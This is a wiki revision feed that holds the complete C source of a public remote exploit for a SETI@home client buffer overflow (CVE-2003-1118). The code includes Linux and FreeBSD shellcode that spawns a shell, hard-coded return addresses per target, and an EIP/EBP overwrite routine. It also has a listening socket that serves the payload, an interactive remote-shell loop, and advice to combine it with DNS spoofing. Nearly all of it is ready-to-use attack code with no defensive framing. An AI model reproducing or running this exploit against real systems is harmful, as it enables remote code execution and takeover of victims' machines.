<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2003-1118_SETI%40home_Clients_%E9%81%A0%E7%A8%8B%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2003-1118 SETI@home Clients 遠程緩衝區溢出漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2003-1118_SETI%40home_Clients_%E9%81%A0%E7%A8%8B%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2003-1118_SETI@home_Clients_%E9%81%A0%E7%A8%8B%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-09T02:48:16Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2003-1118_SETI@home_Clients_%E9%81%A0%E7%A8%8B%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=2060&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; /*    Seti@Home exploit by zillion[at]safemode.org (2003/01/07)     Credits for the vulnerability go to: SkyLined &lt;SkyLined@edup.tudelft.nl&gt;    http://spoor12.ed...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2003-1118_SETI@home_Clients_%E9%81%A0%E7%A8%8B%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=2060&amp;oldid=prev"/>
		<updated>2021-05-03T12:26:00Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; /*    Seti@Home exploit by zillion[at]safemode.org (2003/01/07)     Credits for the vulnerability go to: SkyLined &amp;lt;SkyLined@edup.tudelft.nl&amp;gt;    http://spoor12.ed...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/*&lt;br /&gt;
   Seti@Home exploit by zillion[at]safemode.org (2003/01/07)&lt;br /&gt;
&lt;br /&gt;
   Credits for the vulnerability go to: SkyLined &amp;lt;SkyLined@edup.tudelft.nl&amp;gt;&lt;br /&gt;
   http://spoor12.edup.tudelft.nl/SkyLined%20v4.2/?Advisories/Seti@home&lt;br /&gt;
&lt;br /&gt;
   Use this exploit in combination with a DNS spoofing utility such as the one&lt;br /&gt;
   provided in the Dsniff package. http://naughty.monkey.org/~dugsong/dsniff/&lt;br /&gt;
&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define NOP 0x41&lt;br /&gt;
#define EXEC &amp;quot;TERM=xterm; export TERM=xterm;exec /bin/sh -i&amp;quot;&lt;br /&gt;
#define EXEC2 &amp;quot;id;uname -a;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
char linux_shellcode[] =&lt;br /&gt;
&lt;br /&gt;
   /* dup */&lt;br /&gt;
   &amp;quot;\x31\xc9\x31\xc0\x31\xdb\xb3\x04\xb0\x3f\xcd\x80\xfe\xc1\xb0&amp;quot;&lt;br /&gt;
   &amp;quot;\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   /* execve /bin/sh */&lt;br /&gt;
   &amp;quot;\x31\xdb\x31\xc9\xf7\xe3\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f&amp;quot;&lt;br /&gt;
   &amp;quot;\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
char freebsd_shellcode[] =&lt;br /&gt;
&lt;br /&gt;
  &amp;quot;\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb1\x03\xbb\xff\xff\xff\xff&amp;quot;&lt;br /&gt;
  &amp;quot;\xb2\x04\x43\x53\x52\xb0\x5a\x50\xcd\x80\x80\xe9\x01\x75\xf3&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  &amp;quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f&amp;quot;&lt;br /&gt;
  &amp;quot;\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53&amp;quot;&lt;br /&gt;
  &amp;quot;\xb0\x3b\x50\xcd\x80&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
char static_crap[] =&lt;br /&gt;
&lt;br /&gt;
   &amp;quot;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
struct target&lt;br /&gt;
{&lt;br /&gt;
  int   num;&lt;br /&gt;
  char *description;&lt;br /&gt;
  char *versions;&lt;br /&gt;
  char *type;&lt;br /&gt;
  char *shellcode;&lt;br /&gt;
  long  retaddress;&lt;br /&gt;
  int   bufsize;&lt;br /&gt;
  int   offset;&lt;br /&gt;
  int   junk;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
struct target targets[] =&lt;br /&gt;
{&lt;br /&gt;
  {0,  &amp;quot;Linux  2.2.* &amp;quot;, &amp;quot;3.03.i386      linux-gnu-gnulibc2.1 &amp;quot;, &amp;quot;Packet retr mode&amp;quot;, linux_shellcode,&lt;br /&gt;
   0xbffff420, 520, 500, 0},&lt;br /&gt;
  {1,  &amp;quot;Linux  2.4.* &amp;quot;, &amp;quot;3.03 i386/i686 linux-gnu-gnulibc2.1 &amp;quot;, &amp;quot;Packet retr mode&amp;quot;, linux_shellcode,&lt;br /&gt;
   0xbffff390, 520, 500, 1},&lt;br /&gt;
  {2,  &amp;quot;Linux  2.*   &amp;quot;, &amp;quot;3.03.i386/i686 linux-gnulibc1-static&amp;quot;, &amp;quot;Packet retr mode&amp;quot;, linux_shellcode,&lt;br /&gt;
  0xbffff448, 520, 500, 1},&lt;br /&gt;
  {3,  &amp;quot;All above    &amp;quot;, &amp;quot;3.03.i386      linux*               &amp;quot;, &amp;quot;Packet retr mode&amp;quot;, linux_shellcode,&lt;br /&gt;
   0xbffff448, 520, 300, 1},&lt;br /&gt;
  {4,  &amp;quot;FreeBSD      &amp;quot;, &amp;quot;3.03.i386      FreeBSD-2.2.8        &amp;quot;, &amp;quot;Packet retr mode&amp;quot;, freebsd_shellcode,&lt;br /&gt;
 0x0004956c, 520, 1, 2},&lt;br /&gt;
  {5, NULL, NULL, NULL, NULL, 0, 0, 0}&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
int open_socket(int port)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
  int sock,fd;&lt;br /&gt;
  struct sockaddr_in cliAddr, servAddr;&lt;br /&gt;
&lt;br /&gt;
  sock = socket(AF_INET, SOCK_STREAM, 0);&lt;br /&gt;
   if(sock&amp;lt;0) {&lt;br /&gt;
    printf(&amp;quot;Error: Cannot open socket \n&amp;quot;);&lt;br /&gt;
    exit(1);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  /* bind server port */&lt;br /&gt;
  servAddr.sin_family = AF_INET;&lt;br /&gt;
  servAddr.sin_addr.s_addr = htonl(INADDR_ANY);&lt;br /&gt;
  servAddr.sin_port = htons(port);&lt;br /&gt;
&lt;br /&gt;
  if(bind(sock, (struct sockaddr *) &amp;amp;servAddr, sizeof(servAddr))&amp;lt;0) {&lt;br /&gt;
    printf(&amp;quot;Error: Cannot bind to port %d \n&amp;quot;,port);&lt;br /&gt;
    exit(1);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  listen(sock,5);&lt;br /&gt;
  fd=accept(sock,0,0);&lt;br /&gt;
&lt;br /&gt;
  return fd;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void usage(char *progname) {&lt;br /&gt;
&lt;br /&gt;
  int i;&lt;br /&gt;
&lt;br /&gt;
  printf(&amp;quot;\n---------------------------------------------------&amp;quot;);&lt;br /&gt;
  printf(&amp;quot;\n  *- Seti@Home remote exploit by zillion (s-m0de) -*&amp;quot;);&lt;br /&gt;
  printf(&amp;quot;\n---------------------------------------------------&amp;quot;);&lt;br /&gt;
  printf(&amp;quot;\n\nDefault      : %s  -h &amp;lt;target host&amp;gt;&amp;quot;,progname);&lt;br /&gt;
  printf(&amp;quot;\nTarget       : %s  -t &amp;lt;number&amp;gt;&amp;quot;,progname);&lt;br /&gt;
  printf(&amp;quot;\nOffset       : %s  -o &amp;lt;offset&amp;gt;&amp;quot;,progname);&lt;br /&gt;
  printf(&amp;quot;\nPort         : %s  -p &amp;lt;port&amp;gt;\n&amp;quot;,progname);&lt;br /&gt;
  printf(&amp;quot;\nDebug        : %s  -d \n&amp;quot;,progname);&lt;br /&gt;
&lt;br /&gt;
  printf(&amp;quot;\nAvailable types:\n&amp;quot;);&lt;br /&gt;
  printf(&amp;quot;---------------------------------------------------\n&amp;quot;);&lt;br /&gt;
  for(i = 0; targets[i].description; i++) {&lt;br /&gt;
    fprintf(stdout, &amp;quot;%d\t%s\t%s\t%s\n&amp;quot;, targets[i].num, targets[i].description,targets[i].&lt;br /&gt;
versions,targets[i].type);&lt;br /&gt;
  }&lt;br /&gt;
  printf(&amp;quot;\n\n&amp;quot;);&lt;br /&gt;
  exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int sh(int sockfd) {&lt;br /&gt;
  char snd[1024], rcv[1024];&lt;br /&gt;
  fd_set rset;&lt;br /&gt;
  int maxfd, n,test;&lt;br /&gt;
&lt;br /&gt;
  strcpy(snd, EXEC &amp;quot;\n&amp;quot;);&lt;br /&gt;
  write(sockfd, snd, strlen(snd));&lt;br /&gt;
&lt;br /&gt;
  read(sockfd,rcv,7);&lt;br /&gt;
  fflush(stdout);&lt;br /&gt;
&lt;br /&gt;
  strcpy(snd, EXEC2 &amp;quot;\n&amp;quot;);&lt;br /&gt;
  write(sockfd, snd, strlen(snd));&lt;br /&gt;
&lt;br /&gt;
  /* Main command loop */&lt;br /&gt;
  for (;;) {&lt;br /&gt;
    FD_SET(fileno(stdin), &amp;amp;rset);&lt;br /&gt;
    FD_SET(sockfd, &amp;amp;rset);&lt;br /&gt;
&lt;br /&gt;
    maxfd = ( ( fileno(stdin) &amp;gt; sockfd )?fileno(stdin):sockfd ) + 1;&lt;br /&gt;
    select(maxfd, &amp;amp;rset, NULL, NULL, NULL);&lt;br /&gt;
&lt;br /&gt;
    if (FD_ISSET(fileno(stdin), &amp;amp;rset)) {&lt;br /&gt;
      bzero(snd, sizeof(snd));&lt;br /&gt;
      fgets(snd, sizeof(snd)-2, stdin);&lt;br /&gt;
      write(sockfd, snd, strlen(snd));&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (FD_ISSET(sockfd, &amp;amp;rset)) {&lt;br /&gt;
      bzero(rcv, sizeof(rcv));&lt;br /&gt;
&lt;br /&gt;
      if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {&lt;br /&gt;
	/* exit */&lt;br /&gt;
	return 0;&lt;br /&gt;
      }&lt;br /&gt;
&lt;br /&gt;
      if (n &amp;lt; 0) {&lt;br /&gt;
	perror(&amp;quot;read&amp;quot;);&lt;br /&gt;
	return 1;&lt;br /&gt;
      }&lt;br /&gt;
&lt;br /&gt;
      fputs(rcv, stdout);&lt;br /&gt;
      fflush(stdout);&lt;br /&gt;
    }&lt;br /&gt;
  } /* for(;;) */&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char **argv){&lt;br /&gt;
&lt;br /&gt;
  char *buffer,*tmp;&lt;br /&gt;
  long retaddress;&lt;br /&gt;
  char rcv[200];&lt;br /&gt;
  int fd,i,arg,debug=0,type=0,port=80,offset=250;&lt;br /&gt;
&lt;br /&gt;
  if(argc &amp;lt; 2) { usage(argv[0]); }&lt;br /&gt;
&lt;br /&gt;
  while ((arg = getopt (argc, argv, &amp;quot;dh:o:l:p:t:&amp;quot;)) != -1){&lt;br /&gt;
    switch (arg){&lt;br /&gt;
    case 'd':&lt;br /&gt;
	debug = 1;&lt;br /&gt;
	break;&lt;br /&gt;
    case 'o':&lt;br /&gt;
      offset = atoi(optarg);&lt;br /&gt;
      break;&lt;br /&gt;
    case 'p':&lt;br /&gt;
      port = atoi(optarg);&lt;br /&gt;
      break;&lt;br /&gt;
    case 't':&lt;br /&gt;
      type = atoi(optarg);&lt;br /&gt;
      break;&lt;br /&gt;
    default :&lt;br /&gt;
      usage(argv[0]);&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  if((targets[type].retaddress) != 0) {&lt;br /&gt;
    buffer = (char *)malloc((targets[type].bufsize));&lt;br /&gt;
&lt;br /&gt;
    /* some junk may be required to counter buffer manipulation */&lt;br /&gt;
&lt;br /&gt;
    if(targets[type].junk == 1) {&lt;br /&gt;
&lt;br /&gt;
    tmp = (char *)malloc(strlen(static_crap) + strlen(targets[type].shellcode));&lt;br /&gt;
&lt;br /&gt;
    strcpy(tmp,targets[type].shellcode);&lt;br /&gt;
    strcat(tmp,static_crap);&lt;br /&gt;
&lt;br /&gt;
    targets[type].shellcode = tmp;&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    memset(buffer,NOP,targets[type].bufsize);&lt;br /&gt;
    memcpy(buffer + (targets[type].bufsize) - (strlen(targets[type].shellcode) + 8) ,targets[type].&lt;br /&gt;
shellcode,strlen(targets[type].shellcode));&lt;br /&gt;
&lt;br /&gt;
    /* Overwrite EBP and EIP */&lt;br /&gt;
    *(long *)&amp;amp;buffer[(targets[type].bufsize) - 8]  = (targets[type].retaddress - targets[type].offset);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    // If freebsd we need to place a value without 00 in ebp&lt;br /&gt;
&lt;br /&gt;
    if(type == 4) {&lt;br /&gt;
       *(long *)&amp;amp;buffer[(targets[type].bufsize) - 8]  = 0xbfbff654;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    *(long *)&amp;amp;buffer[(targets[type].bufsize) - 4]  = (targets[type].retaddress - targets[type].offset);&lt;br /&gt;
&lt;br /&gt;
    /* Uncomment to overwrite eip and ebp with 41414141 */&lt;br /&gt;
    if(debug == 1) {&lt;br /&gt;
    *(long *)&amp;amp;buffer[(targets[type].bufsize) - 8]  = 0x41414141;&lt;br /&gt;
    *(long *)&amp;amp;buffer[(targets[type].bufsize) - 4]  = 0x41414141;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  fd = open_socket(port);&lt;br /&gt;
&lt;br /&gt;
  write(fd,buffer,strlen(buffer));&lt;br /&gt;
  write(fd,&amp;quot;\n&amp;quot;,1);&lt;br /&gt;
  write(fd,&amp;quot;\n&amp;quot;,1);&lt;br /&gt;
&lt;br /&gt;
  sleep(1);&lt;br /&gt;
  sh(fd);&lt;br /&gt;
&lt;br /&gt;
  close(fd);&lt;br /&gt;
  return 0;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
// milw0rm.com [2003-04-08]&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>